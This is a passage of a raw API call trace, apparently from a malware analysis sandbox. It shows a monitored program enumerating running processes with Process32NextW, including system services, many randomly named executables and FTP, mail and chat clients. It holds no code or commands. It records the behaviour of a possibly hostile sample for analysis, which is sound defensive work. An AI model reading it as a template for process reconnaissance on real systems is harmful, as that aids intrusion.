lstrlenW (lpString="fontdrvhost.exe") returned 15 [0075.261] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0075.262] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0075.262] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.262] lstrlenW (lpString="svchost.exe") returned 11 [0075.263] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0075.263] lstrlenW (lpString="dwm.exe") returned 7 [0075.263] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.264] lstrlenW (lpString="svchost.exe") returned 11 [0075.264] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.264] lstrlenW (lpString="svchost.exe") returned 11 [0075.264] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.265] lstrlenW (lpString="svchost.exe") returned 11 [0075.265] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.265] lstrlenW (lpString="svchost.exe") returned 11 [0075.265] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.266] lstrlenW (lpString="svchost.exe") returned 11 [0075.266] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.266] lstrlenW (lpString="svchost.exe") returned 11 [0075.266] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.267] lstrlenW (lpString="svchost.exe") returned 11 [0075.267] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.267] lstrlenW (lpString="svchost.exe") returned 11 [0075.267] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.268] lstrlenW (lpString="svchost.exe") returned 11 [0075.268] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.268] lstrlenW (lpString="svchost.exe") returned 11 [0075.268] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.269] lstrlenW (lpString="spoolsv.exe") returned 11 [0075.269] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.269] lstrlenW (lpString="svchost.exe") returned 11 [0075.269] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.270] lstrlenW (lpString="audiodg.exe") returned 11 [0075.270] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0075.270] lstrlenW (lpString="sihost.exe") returned 10 [0075.270] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.271] lstrlenW (lpString="svchost.exe") returned 11 [0075.271] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.271] lstrlenW (lpString="taskhostw.exe") returned 13 [0075.271] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.272] lstrlenW (lpString="explorer.exe") returned 12 [0075.272] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0075.272] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0075.273] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0075.273] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0075.273] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0075.274] lstrlenW (lpString="Memory Compression") returned 18 [0075.274] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0075.274] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0075.274] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0075.275] lstrlenW (lpString="SearchUI.exe") returned 12 [0075.275] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0075.275] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0075.276] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.276] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0075.276] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0075.277] lstrlenW (lpString="furholdtopics.exe") returned 17 [0075.277] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0075.277] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0075.277] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0075.278] lstrlenW (lpString="until_commit.exe") returned 16 [0075.278] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0075.278] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0075.278] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0075.279] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0075.279] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0075.279] lstrlenW (lpString="lexmark.exe") returned 11 [0075.279] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0075.280] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0075.280] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0075.280] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0075.280] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0075.281] lstrlenW (lpString="delete disable changing.exe") returned 27 [0075.281] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0075.282] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0075.282] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0075.282] lstrlenW (lpString="underwear.exe") returned 13 [0075.282] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0075.283] lstrlenW (lpString="dear-hearings.exe") returned 17 [0075.283] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0075.284] lstrlenW (lpString="dllhost.exe") returned 11 [0075.284] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0075.284] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0075.284] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0075.285] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0075.285] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0075.286] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0075.286] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0075.287] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0075.287] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0075.287] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0075.287] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0075.288] lstrlenW (lpString="towers world.exe") returned 16 [0075.288] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0075.372] lstrlenW (lpString="coaching indian.exe") returned 19 [0075.373] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0075.374] lstrlenW (lpString="goal assumed.exe") returned 16 [0075.374] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.375] lstrlenW (lpString="3dftp.exe") returned 9 [0075.375] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.376] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0075.376] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.377] lstrlenW (lpString="alftp.exe") returned 9 [0075.378] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.379] lstrlenW (lpString="barca.exe") returned 9 [0075.379] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.380] lstrlenW (lpString="bitkinex.exe") returned 12 [0075.380] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0075.381] lstrlenW (lpString="coreftp.exe") returned 11 [0075.381] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0075.382] lstrlenW (lpString="far.exe") returned 7 [0075.383] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0075.384] lstrlenW (lpString="filezilla.exe") returned 13 [0075.384] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0075.385] lstrlenW (lpString="flashfxp.exe") returned 12 [0075.385] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0075.386] lstrlenW (lpString="fling.exe") returned 9 [0075.386] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0075.387] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0075.387] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0075.388] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0075.388] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0075.389] lstrlenW (lpString="icq.exe") returned 7 [0075.389] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0075.390] lstrlenW (lpString="leechftp.exe") returned 12 [0075.390] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0075.391] lstrlenW (lpString="ncftp.exe") returned 9 [0075.391] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0075.392] lstrlenW (lpString="notepad.exe") returned 11 [0075.392] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0075.393] lstrlenW (lpString="operamail.exe") returned 13 [0075.393] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0075.393] lstrlenW (lpString="pidgin.exe") returned 10 [0075.394] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0075.394] lstrlenW (lpString="scriptftp.exe") returned 13 [0075.394] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0075.395] lstrlenW (lpString="skype.exe") returned 9 [0075.395] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0075.396] lstrlenW (lpString="smartftp.exe") returned 12 [0075.396] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0075.397] lstrlenW 